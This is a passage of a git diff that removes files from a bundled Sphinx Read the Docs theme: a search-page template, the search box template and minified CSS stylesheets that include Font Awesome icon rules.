-  <div id="fallback" class="admonition warning">
-    <p class="last">
-      {% trans %}Please activate JavaScript to enable the search
-      functionality.{% endtrans %}
-    </p>
-  </div>
-  </noscript>
-
-  {% if search_performed %}
-    <h2>{{ _('Search Results') }}</h2>
-    {% if not search_results %}
-      <p>{{ _('Your search did not match any documents. Please make sure that all words are spelled correctly and that you\'ve selected enough categories.') }}</p>
-    {% endif %}
-  {% endif %}
-  <div id="search-results">
-  {% if search_results %}
-    <ul>
-    {% for href, caption, context in search_results %}
-      <li>
-        <a href="{{ pathto(item.href) }}">{{ caption }}</a>
-        <p class="context">{{ context|e }}</p>
-      </li>
-    {% endfor %}
-    </ul>
-  {% endif %}
-  </div>
-{% endblock %}
diff --git a/_build/_themes/sphinx_rtd_theme/searchbox.html b/_build/_themes/sphinx_rtd_theme/searchbox.html
deleted file mode 100755
index 606f5c8c9d7..00000000000
--- a/_build/_themes/sphinx_rtd_theme/searchbox.html
+++ /dev/null
@@ -1,9 +0,0 @@
-{%- if builder != 'singlehtml' %}
-<div role="search">
-  <form id="rtd-search-form" class="wy-form" action="{{ pathto('search') }}" method="get">
-    <input type="text" name="q" placeholder="{{ _('Search docs') }}" />
-    <input type="hidden" name="check_keywords" value="yes" />
-    <input type="hidden" name="area" value="default" />
-  </form>
-</div>
-{%- endif %}
diff --git a/_build/_themes/sphinx_rtd_theme/static/css/badge_only.css b/_build/_themes/sphinx_rtd_theme/static/css/badge_only.css
deleted file mode 100755
index 323730ae29a..00000000000
--- a/_build/_themes/sphinx_rtd_theme/static/css/badge_only.css
+++ /dev/null
@@ -1 +0,0 @@
-.fa:before{-webkit-font-smoothing:antialiased}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:""}.clearfix:after{clear:both}@font-face{font-family:FontAwesome;font-weight:normal;font-style:normal;src:url("../fonts/fontawesome-webfont.eot");src:url("../fonts/fontawesome-webfont.eot?#iefix") format("embedded-opentype"),url("../fonts/fontawesome-webfont.woff") format("woff"),url("../fonts/fontawesome-webfont.ttf") format("truetype"),url("../fonts/fontawesome-webfont.svg#FontAwesome") format("svg")}.fa:before{display:inline-block;font-family:FontAwesome;font-style:normal;font-weight:normal;line-height:1;text-decoration:inherit}a .fa{display:inline-block;text-decoration:inherit}li .fa{display:inline-block}li .fa-large:before,li .fa-large:before{width:1.875em}ul.fas{list-style-type:none;margin-left:2em;text-indent:-0.8em}ul.fas li .fa{width:.8em}ul.fas li .fa-large:before,ul.fas li .fa-large:before{vertical-align:baseline}.fa-book:before{content:""}.icon-book:before{content:""}.fa-caret-down:before{content:""}.icon-caret-down:before{content:""}.fa-caret-up:before{content:""}.icon-caret-up:before{content:""}.fa-caret-left:before{content:""}.icon-caret-left:before{content:""}.fa-caret-right:before{content:""}.icon-caret-right:before{content:""}.rst-versions{position:fixed;bottom:0;left:0;width:300px;color:#fcfcfc;background:#1f1d1d;font-family:"Lato","proxima-nova","Helvetica Neue",Arial,sans-serif;z-index:400}.rst-versions a{color:#2980B9;text-decoration:none}.rst-versions .rst-badge-small{display:none}.rst-versions .rst-current-version{padding:12px;background-color:#272525;display:block;text-align:right;font-size:90%;cursor:pointer;color:#27AE60;*zoom:1}.rst-versions .rst-current-version:before,.rst-versions .rst-current-version:after{display:table;content:""}.rst-versions .rst-current-version:after{clear:both}.rst-versions .rst-current-version .fa{color:#fcfcfc}.rst-versions .rst-current-version .fa-book{float:left}.rst-versions .rst-current-version .icon-book{float:left}.rst-versions .rst-current-version.rst-out-of-date{background-color:#E74C3C;color:#fff}.rst-versions .rst-current-version.rst-active-old-version{background-color:#F1C40F;color:#000}.rst-versions.shift-up{height:auto;max-height:100%}.rst-versions.shift-up .rst-other-versions{display:block}.rst-versions .rst-other-versions{font-size:90%;padding:12px;color:gray;display:none}.rst-versions .rst-other-versions hr{display:block;height:1px;border:0;margin:20px 0;padding:0;border-top:solid 1px #413d3d}.rst-versions .rst-other-versions dd{display:inline-block;margin:0}.rst-versions .rst-other-versions dd a{display:inline-block;padding:6px;color:#fcfcfc}.rst-versions.rst-badge{width:auto;bottom:20px;right:20px;left:auto;border:none;max-width:300px}.rst-versions.rst-badge .icon-book{float:none}.rst-versions.rst-badge .fa-book{float:none}.rst-versions.rst-badge.shift-up .rst-current-version{text-align:right}.rst-versions.rst-badge.shift-up .rst-current-version .fa-book{float:left}.rst-versions.rst-badge.shift-up .rst-current-version .icon-book{float:left}.rst-versions.rst-badge .rst-current-version{width:auto;height:30px;line-height:30px;padding:0 6px;display:block;text-align:center}@media screen and (max-width: 768px){.rst-versions{width:85%;display:none}.rst-versions.shift{display:block}}
diff --git a/_build/_themes/sphinx_rtd_theme/static/css/theme.css b/_build/_themes/sphinx_rtd_theme/static/css/theme.css
deleted file mode 100755
index 60b05590c20..00000000000
--- a/_build/_themes/sphinx_rtd_theme/static/css/theme.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/* sphinx_rtd_theme version 0.4.0 | MIT license */
-/* Built 20180606 11:06 */
-*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio,canvas,video{display:inline-block;*display:inline;*zoom:1}audio:not([controls]){display:none}[hidden]{display:none}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a:hover,a:active{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}blockquote{margin:0}dfn{font-style:italic}ins{background:#ff9;color:#000;text-decoration:none}mark{background:#ff0;color:#000;font-style:italic;font-weight:bold}pre,code,.rst-content tt,.rst-content code,kbd,samp{font-family:monospace,serif;_font-family:"courier new",monospace;font-size:1em}pre{white-space:pre}q{quotes:none}q:before,q:after{content:"";content:none}small{font-size:85%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}ul,ol,dl{margin:0;padding:0;list-style:none;list-style-image:none}li{list-style:none}dd{margin:0}img{border:0;-ms-interpolation-mode:bicubic;vertical-align:middle;max-width:100%}svg:not(:root){overflow:hidden}figure{margin:0}form{margin:0}fieldset{border:0;margin:0;padding:0}label{cursor:pointer}legend{border:0;*margin-left:-7px;padding:0;white-space:normal}button,input,select,textarea{font-size:100%;margin:0;vertical-align:baseline;*vertical-align:middle}button,input{line-height:normal}button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button;*overflow:visible}button[disabled],input[disabled]{cursor:default}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0;*width:13px;*height:13px}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}textarea{overflow:auto;vertical-align:top;resize:vertical}table{border-collapse:collapse;border-spacing:0}td{vertical-align:top}.chromeframe{margin:.2em 0;background:#ccc;color:#000;padding:.2em 0}.ir{display:block;border:0;text-indent:-999em;overflow:hidden;background-color:transparent;background-repeat:no-repeat;text-align:left;direction:ltr;*line-height:0}.ir br{display:none}.hidden{display:none !important;visibility:hidden}.visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.visuallyhidden.focusable:active,.visuallyhidden.focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.invisible{visibility:hidden}.relative{position:relative}big,small{font-size:100%}@media print{html,body,section{background:none !important}*{box-shadow:none !important;text-shadow:none !important;filter:none !important;-ms-filter:none !important}a,a:visited{text-decoration:underline}.ir a:after,a[href^="javascript:"]:after,a[href^="#"]:after{content:""}pre,blockquote{page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100% !important}@page{margin:.5cm}p,h2,.rst-content .toctree-wrapper p.caption,h3{orphans:3;widows:3}h2,.rst-content .toctree-wrapper p.caption,h3{page-break-after:avoid}}.fa:before,.wy-menu-vertical li span.toctree-expand:before,.wy-menu-vertical li.on a span.toctree-expand:before,.wy-menu-vertical li.current>a span.toctree-expand:before,.rst-content .admonition-title:before,.rst-content h1 .headerlink:before,.rst-content h2 .headerlink:before,.rst-content h3 .headerlink:before,.rst-content h4 .headerlink:before,.rst-content h5 .headerlink:before,.rst-content h6 .headerlink:before,.rst-content dl dt .headerlink:before,.rst-content p.caption .headerlink:before,.rst-content table>caption .headerlink:before,.rst-content tt.download span:first-child:before,.rst-content code.download span:first-child:before,.icon:before,.wy-dropdown .caret:before,.wy-inline-validate.wy-inline-validate-success .wy-input-context:before,.wy-inline-validate.wy-inline-validate-danger .wy-input-context:before,.wy-inline-validate.wy-inline-validate-warning .wy-input-context:before,.wy-inline-validate.wy-inline-validate-info .wy-input-context:before,.wy-alert,.rst-content .note,.rst-content .attention,.rst-content .caution,.rst-content .danger,.rst-content .error,.rst-content .hint,.rst-content .important,.rst-content .tip,.rst-content .warning,.rst-content .seealso,.rst-content .admonition-todo,.rst-content .admonition,.btn,input[type="text"],input[type="password"],input[type="email"],input[type="url"],input[type="date"],input[type="month"],input[type="time"],input[type="datetime"],input[type="datetime-local"],input[type="week"],input[type="number"],input[type="search"],input[type="tel"],input[type="color"],select,textarea,.wy-menu-vertical li.on a,.wy-menu-vertical li.current>a,.wy-side-nav-search>a,.wy-side-nav-search .wy-dropdown>a,.wy-nav-top a{-webkit-font-smoothing:antialiased}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:""}.clearfix:after{clear:both}/*!
- *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
- *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
- */@font-face{font-family:'FontAwesome';src:url("../fonts/fontawesome-webfont.eot?v=4.7.0");src:url("../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0") format("embedded-opentype"),url("../fonts/fontawesome-webfont.woff2?v=4.7.0") format("woff2"),url("../fonts/fontawesome-webfont.woff?v=4.7.0") format("woff"),url("../fonts/fontawesome-webfont.ttf?v=4.7.0") format("truetype"),url("../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular") format("svg");font-weight:normal;font-style:normal}.fa,.wy-menu-vertical li span.toctree-expand,.wy-menu-vertical li.on a span.toctree-expand,.wy-menu-vertical li.current>a span.toctree-expand,.rst-content .admonition-title,.rst-content h1 .headerlink,.rst-content h2 .headerlink,.rst-content h3 .headerlink,.rst-content h4 .headerlink,.rst-content h5 .headerlink,.rst-content h6 .headerlink,.rst-content dl dt .headerlink,.rst-content p.caption .headerlink,.rst-content table>caption .headerlink,.rst-content tt.download span:first-child,.rst-content code.download span:first-child,.icon{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.3333333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.2857142857em;text-align:center}.fa-ul{padding-left:0;margin-left:2.1428571429em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.1428571429em;width:2.1428571429em;top:.1428571429em;text-align:center}.fa-li.fa-lg{left:-1.8571428571em}.fa-border{padding:.2em .25em .15em;border:solid 0.08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.wy-menu-vertical li span.fa-pull-left.toctree-expand,.wy-menu-vertical li.on a span.fa-pull-left.toctree-expand,.wy-menu-vertical li.current>a span.fa-pull-left.toctree-expand,.rst-content .fa-pull-left.admonition-title,.rst-content h1 .fa-pull-left.headerlink,.rst-content h2 .fa-pull-left.headerlink,.rst-content h3 .fa-pull-left.headerlink,.rst-content h4 .fa-pull-left.headerlink,.rst-content h5 .fa-pull-left.headerlink,.rst-content h6 .fa-pull-left.headerlink,.rst-content dl dt .fa-pull-left.headerlink,.rst-content p.caption .fa-pull-left.headerlink,.rst-content table>caption .fa-pull-left.headerlink,.rst-content tt.download span.fa-pull-left:first-child,.rst-content code.download span.fa-pull-left:first-child,.fa-pull-left.icon{margin-right:.3em}.fa.fa-pull-right,.wy-menu-vertical li span.fa-pull-right.toctree-expand,.wy-menu-vertical li.on a span.fa-pull-right.toctree-expand,.wy-menu-vertical li.current>a span.fa-pull-right.toctree-expand,.rst-content .fa-pull-right.admonition-title,.rst-content h1 .fa-pull-right.headerlink,.rst-content h2 .fa-pull-right.headerlink,.rst-content h3 .fa-pull-right.headerlink,.rst-content h4 .fa-pull-right.headerlink,.rst-content h5 .fa-pull-right.headerlink,.rst-content h6 .fa-pull-right.headerlink,.rst-content dl dt .fa-pull-right.headerlink,.rst-content p.caption .fa-pull-right.headerlink,.rst-content table>caption .fa-pull-right.headerlink,.rst-content tt.download span.fa-pull-right:first-child,.rst-content code.download span.fa-pull-right:first-child,.fa-pull-right.icon{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left,.wy-menu-vertical li span.pull-left.toctree-expand,.wy-menu-vertical li.on a span.pull-left.toctree-expand,.wy-menu-vertical li.current>a span.pull-left.toctree-expand,.rst-content .pull-left.admonition-title,.rst-content h1 .pull-left.headerlink,.rst-content h2 .pull-left.headerlink,.rst-content h3 .pull-left.headerlink,.rst-content h4 .pull-left.headerlink,.rst-content h5 .pull-left.headerlink,.rst-content h6 .pull-left.headerlink,.rst-content dl dt .pull-left.headerlink,.rst-content p.caption .pull-left.headerlink,.rst-content table>caption .pull-left.headerlink,.rst-content tt.download span.pull-left:first-child,.rst-content code.download span.pull-left:first-child,.pull-left.icon{margin-right:.3em}.fa.pull-right,.wy-menu-vertical li span.pull-right.toctree-expand,.wy-menu-vertical li.on a span.pull-right.toctree-expand,.wy-menu-vertical li.current>a span.pull-right.toctree-expand,.rst-content .pull-right.admonition-title,.rst-content h1 .pull-right.headerlink,.rst-content h2 .pull-right.headerlink,.rst-content h3 .pull-right.headerlink,.rst-content h4 .pull-right.headerlink,.rst-content h5 .pull-right.headerlink,.rst-content h6 .pull-right.headerlink,.rst-content dl dt .pull-right.headerlink,.rst-content p.caption .pull-right.headerlink,.rst-content table>caption .pull-right.headerlink,.rst-content tt.download span.pull-right:first-child,.rst-content code.download span.pull-right:first-child,.pull-right.icon{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:""}.fa-music:before{content:""}.fa-search:before,.icon-search:before{content:""}.fa-envelope-o:before{content:""}.fa-heart:before{content:""}.fa-star:before{content:""}.fa-star-o:before{content:""}.fa-user:before{content:""}.fa-film:before{content:""}.fa-th-large:before{content:""}.fa-th:before{content:""}.fa-th-list:before{content:""}.fa-check:before{content:""}.fa-remove:before,.fa-close:before,.fa-times:before{content:""}.fa-search-plus:before{content:""}.fa-search-minus:before{content:""}.fa-power-off:before{content:""}.fa-signal:before{content:""}.fa-gear:before,.fa-cog:before{content:""}.fa-trash-o:before{content:""}.fa-home:before,.icon-home:before{content:""}.fa-file-o:before{content:""}.fa-clock-o:before{content:""}.fa-road:before{content:""}.fa-download:before,.rst-content tt.download span:first-child:before,.rst-content code.download span:first-child:before{content:""}.fa-arrow-circle-o-down:before{content:""}.fa-arrow-circle-o-up:before{content:""}.fa-inbox:before{content:""}.fa-play-circle-o:before{content:""}.fa-rotate-right:before,.fa-repeat:before{content:""}.fa-refresh:before{content:""}.fa-list-alt:before{content:""}.fa-lock:before{content:""}.fa-flag:before{content:""}.fa-headphones:before{content:""}.fa-volume-off:before{content:""}.fa-volume-down:before{content:""}.fa-volume-up:before{content:""}.fa-qrcode:before{content:""}.fa-barcode:before{content:""}.fa-tag:before{content:""}.fa-tags:before{content:""}.fa-book:before,.icon-book:before{content:""}.fa-bookmark:before{content:""}.fa-print:before{content:""}.fa-camera:before{content:""}.fa-font:before{content:""}.fa-bold:before{content:""}.fa-italic:before{content:""}.fa-text-height:before{content:""}.fa-text-width:before{content:""}.fa-align-left:before{content:""}.fa-align-center:before{content:""}.fa-align-right:before{content:""}.fa-align-justify:before{content:""}.fa-list:before{content:""}.fa-dedent:before,.fa-outdent:before{content:""}.fa-indent:before{content:""}.fa-video-camera:before{content:""}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:""}.fa-pencil:before{content:""}.fa-map-marker:before{content:""}.fa-adjust:before{content:""}.fa-tint:before{content:""}.fa-edit:before,.fa-pencil-square-o:before{content:""}.fa-share-square-o:before{content:""}.fa-check-square-o:before{content:""}.fa-arrows:before{content:""}.fa-step-backward:before{content:""}.fa-fast-backward:before{content:""}.fa-backward:before{content:""}.fa-play:before{content:""}.fa-pause:before{content:""}.fa-stop:before{content:""}.fa-forward:before{content:""}.fa-fast-forward:before{content:""}.fa-step-forward:before{content:""}.fa-eject:before{content:""}.fa-chevron-left:before{content:""}.fa-chevron-right:before{content:""}.fa-plus-circle:before{content:""}.fa-minus-circle:before{content:""}.fa-times-circle:before,.wy-inline-validate.wy-inline-validate-danger .wy-input-context:before{content:""}.fa-check-circle:before,.wy-inline-validate.wy-inline-validate-success .wy-input-context:before{content:""}.fa-question-circle:before{content:""}.fa-info-circle:before{content:""}.fa-crosshairs:before{content:""}.fa-times-circle-o:before{content:""}.fa-check-circle-o:before{content:""}.fa-ban:before{content:""}.fa-arrow-left:before{content:""}.fa-arrow-right:before{content:""}.fa-arrow-up:before{content:""}.fa-arrow-down:before{content:""}.fa-mail-forward:before,.fa-share:before{content:""}.fa-expand:before{content:""}.fa-compress:before{content:""}.fa-plus:before{content:""}.fa-minus:before{content:""}.fa-asterisk:before{content:""}.fa-exclamation-circle:before,.wy-inline-validate.wy-inline-validate-warning .wy-input-context:before,.wy-inline-validate.wy-inline-validate-info .wy-input-context:before,.rst-content .admonition-title:before{content:""}.fa-gift:before{content:""}.fa-leaf:before{content:""}.fa-fire:before,.icon-fire:before{content:""}.fa-eye:before{content:""}.fa-eye-slash:before{content:""}.fa-warning:before,.fa-exclamation-triangle:before{content:""}.fa-plane:before{content:""}.fa-calendar:before{content:""}.fa-random:before{content:""}.fa-comment:before{content:""}.fa-magnet:before{content:""}.fa-chevron-up:before{content:""}.fa-chevron-down:before{content:""}.fa-retweet:before{content:""}.fa-shopping-cart:before{content:""}.fa-folder:before{content:""}.fa-folder-open:before{content:""}.fa-arrows-v:before{content:""}.fa-arrows-h:before{content:""}.fa-bar-chart-o:before,.fa-bar-chart:before{content:""}.fa-twitter-square:before{content:""}.fa-facebook-square:before{content:""}.fa-camera-retro:before{content:""}.fa-key:before{content:""}.fa-gears:before,.fa-cogs:before{content:""}.fa-comments:before{content:""}.fa-thumbs-o-up:before{content:""}.fa-thumbs-o-down:before{content:""}.fa-star-half:before{content:""}.fa-heart-o:before{content:""}.fa-sign-out:before{content:""}.fa-linkedin-square:before{content:""}.fa-thumb-tack:before{content:""}.fa-external-link:before{content:""}.fa-sign-in:before{content:""}.fa-trophy:before{content:""}.fa-github-square:before{content:""}.fa-upload:before{content:""}.fa-lemon-o:before{content:""}.fa-phone:before{content:""}.fa-square-o:before{content:""}.fa-bookmark-o:before{content:""}.fa-phone-square:before{content:""}.fa-twitter:before{content:""}.fa-facebook-f:before,.fa-facebook:before{content:""}.fa-github:before,.icon-github:before{content:""}.fa-unlock:before{content:""}.fa-credit-card:before{content:""}.fa-feed:before,.fa-rss:before{content:""}.fa-hdd-o:before{content:""}.fa-bullhorn:before{content:""}.fa-bell:before{content:""}.fa-certificate:before{content:""}.fa-hand-o-right:before{content:""}.fa-hand-o-left:before{content:""}.fa-hand-o-up:before{content:""}.fa-hand-o-down:before{content:""}.fa-arrow-circle-left:before,.icon-circle-arrow-left:before{content:""}.fa-arrow-circle-right:before,.icon-circle-arrow-right:before{content:""}.fa-arrow-circle-up:before{content:""}.fa-arrow-circle-down:before{content:""}.fa-globe:before{content:""}.fa-wrench:before{content:""}.fa-tasks:before{content:""}.fa-filter:before{content:""}.fa-briefcase:before{content:""}.fa-arrows-alt:before{content:""}.fa-group:before,.fa-users:before{content:""}.fa-chain:before,.fa-link:before,.icon-link:before{content:""}.fa-cloud:before{content:""}.fa-flask:before{content:""}.fa-cut:before,.fa-scissors:before{content:""}.fa-copy:before,.fa-files-o:before{content:""}.fa-paperclip:before{content:""}.fa-save:before,.fa-floppy-o:before{content:""}.fa-square:before{content:""}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:""}.fa-list-ul:before{content:""}.fa-list-ol:before{content:""}.fa-strikethrough:before{content:""}.fa-underline:before{content:""}.fa-table:before{content:""}.fa-magic:before{content:""}.fa-truck:before{content:""}.fa-pinterest:before{content:""}.fa-pinterest-square:before{content:""}.fa-google-plus-square:before{content:""}.fa-google-plus:before{content:""}.fa-money:before{content:""}.fa-caret-down:before,.wy-dropdown .caret:before,.icon-caret-down:before{content:""}.fa-caret-up:before{content:""}.fa-caret-left:before{content:""}.fa-caret-right:before{content:""}.fa-columns:before{content:""}.fa-unsorted:before,.fa-sort:before{content:""}.fa-sort-down:before,.fa-sort-desc:before{content:""}.fa-sort-up:before,.fa-sort-asc:before{content:""}.fa-envelope:before{content:""}.fa-linkedin:before{content:""}.fa-rotate-left:before,.fa-undo:before{content:""}.fa-legal:before,.fa-gavel:before{content:""}.fa-dashboard:before,.fa-tachometer:before{content:""}.fa-comment-o:before{content:""}.fa-comments-o:before{content:""}.fa-flash:before,.fa-bolt:before{content:""}.fa-sitemap:before{content:""}.fa-umbrella:before{content:""}.fa-paste:before,.fa-clipboard:before{content:""}.fa-lightbulb-o:before{content:""}.fa-exchange:before{content:""}.fa-cloud-download:before{content:""}.fa-cloud-upload:before{content:""}.fa-user-md:before{content:""}.fa-stethoscope:before{content:""}.fa-suitcase:before{content:""}.fa-bell-o:before{content:""}.fa-coffee:before{content:""}.fa-cutlery:before{content:""}.fa-file-text-o:before{content:""}.fa-building-o:before{content:""}.fa-hospital-o:before{content:""}.fa-ambulance:before{content:""}.fa-medkit:before{content:""}.fa-fighter-jet:before{content:""}.fa-beer:before{content:""}.fa-h-square:before{content:""}.fa-plus-square:before{content:""}.fa-angle-double-left:before{content:""}.fa-angle-double-right:before{content:""}.fa-angle-double-up:before{content:""}.fa-angle-double-down:before{content:""}.fa-angle-left:before{content:""}.fa-angle-right:before{content:""}.fa-angle-up:before{content:""}.fa-angle-down:before{content:""}.fa-desktop:before{content:""}.fa-laptop:before{content:""}.fa-tablet:before{content:""}.fa-mobile-phone:before,.fa-mobile:before{content:""}.fa-circle-o:before{content:""}.fa-quote-left:before{content:""}.fa-quote-right:before{content:""}.fa-spinner:before{content:""}.fa-circle:before{content:""}.fa-mail-reply:before,.fa-reply:before{content:""}.fa-github-alt:before{content:""}.fa-folder-o:before{content:""}.fa-folder-open-o:before{content:""}.fa-smile-o:before{content:""}.fa-frown-o:before{content:""}.fa-meh-o:before{content:""}.fa-gamepad:before{content:""}.fa-keyboard-o:before{content:""}.fa-flag-o:before{content:""}.fa-flag-checkered:before{content:""}.fa-terminal:before{content:""}.fa-code:before{content:""}.fa-mail-reply-all:before,.fa-reply-all:before{content:""}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:""}.fa-location-arrow:before{content:""}.fa-crop:before{content:""}.fa-code-fork:before{content:""}.fa-unlink:before,.fa-chain-broken:before{content:""}.fa-question:before{content:""}.fa-info:before{content:""}.fa-exclamation:before{content:""}.fa-superscript:before{content:""}.fa-subscript:before{content:""}.fa-eraser:before{content:""}.fa-puzzle-piece:before{content:""}.fa-microphone:before{content:""}.fa-microphone-slash:before{content:""}.fa-shield:before{content:""}.fa-calendar-o:before{content:""}.fa-fire-extinguisher:before{content:""}.fa-rocket:before{content:""}.fa-maxcdn:before{content:""}.fa-chevron-circle-left:before{content:""}.fa-chevron-circle-right:before{content:""}.fa-chevron-circle-up:before{content:""}.fa-chevron-circle-down:before{content:""}.fa-html5:before{content:""}.fa-css3:before{content:""}.fa-anchor:before{content:""}.fa-unlock-alt:before{content:""}.fa-bullseye:before{content:""}.fa-ellipsis-h:before{content:""}.fa-ellipsis-v:before{content:""}.fa-rss-square:before{content:""}.fa-play-circle:before{content:""}.fa-ticket:before{content:""}.fa-minus-square:before{content:""}.fa-minus-square-o:before,.wy-menu-vertical li.on a span.toctree-expand:before,.wy-menu-vertical li.current>a span.toctree-expand:before{content:""}.fa-level-up:before{content:""}.fa-level-down:before{content:""}.fa-check-square:before{content:""}.fa-pencil-square:before{content:""}.fa-external-link-square:before{content:""}.fa-share-square:before{content:""}.fa-compass:before{content:""}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:""}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:""}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:""}.fa-euro:before,.fa-eur:before{content:""}.fa-gbp:before{content:""}.fa-dollar:before,.fa-usd:before{content:""}.fa-rupee:before,.fa-inr:before{content:""}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:""}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:""}.fa-won:before,.fa-krw:before{content:""}.fa-bitcoin:before,.fa-btc:before{content:""}.fa-file:before{content:""}.fa-file-text:before{content:""}.fa-sort-alpha-asc:before{content:""}.fa-sort-alpha-desc:before{content:""}.fa-sort-amount-asc:before{content:""}.fa-sort-amount-desc:before{content:""}.fa-sort-numeric-asc:before{content:""}.fa-sort-numeric-desc:before{content:""}.fa-thumbs-up:before{content:""}.fa-thumbs-down:before{content:""}.fa-youtube-square:before{content:""}.fa-youtube:before{content:""}.fa-xing:before{content:""}.fa-xing-square:before{content:""}.fa-youtube-play:before{content:""}.fa-dropbox:before{content:""}.fa-stack-overflow:before{content:""}.fa-instagram:before{content:""}.fa-flickr:before{content:""}.fa-adn:before{content:""}.fa-bitbucket:before,.icon-bitbucket:before{content:""}.fa-bitbucket-square:before{content:""}.fa-tumblr:before{content:""}.fa-tumblr-square:before{content:""}.fa-long-arrow-down:before{content:""}.fa-long-arrow-up:before{content:""}.fa-long-arrow-left:before{content:""}.fa-long-arrow-right:before{content:""}.fa-apple:before{content:""}.fa-windows:before{content:""}.fa-android:before{content:""}.fa-linux:before{content:""}.fa-dribbble:before{content:""}.fa-skype:before{content:""}.fa-foursquare:before{content:""}.fa-trello:before{content:""}.fa-female:before{content:""}.fa-male:before{content:""}.fa-gittip:before,.fa-gratipay:before{content:""}.fa-sun-o:before{content:""}.fa-moon-o:before{content:""}.fa-archive:before{content:""}.fa-bug:before{content:""}.fa-vk:before{content:""}.fa-weibo:before{content:""}.fa-renren:before{content:""}.fa-pagelines:before{content:""}.fa-stack-exchange:before{content:""}.fa-arrow-circle-o-right:before{content:""}.fa-arrow-circle-o-left:before{content:""}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:""}.fa-dot-circle-o:before{content:""}.fa-wheelchair:before{content:""}.fa-vimeo-square:before{content:""}.fa-turkish-lira:before,.fa-try:before{content:""}.fa-plus-square-o:before,.wy-menu-vertical li 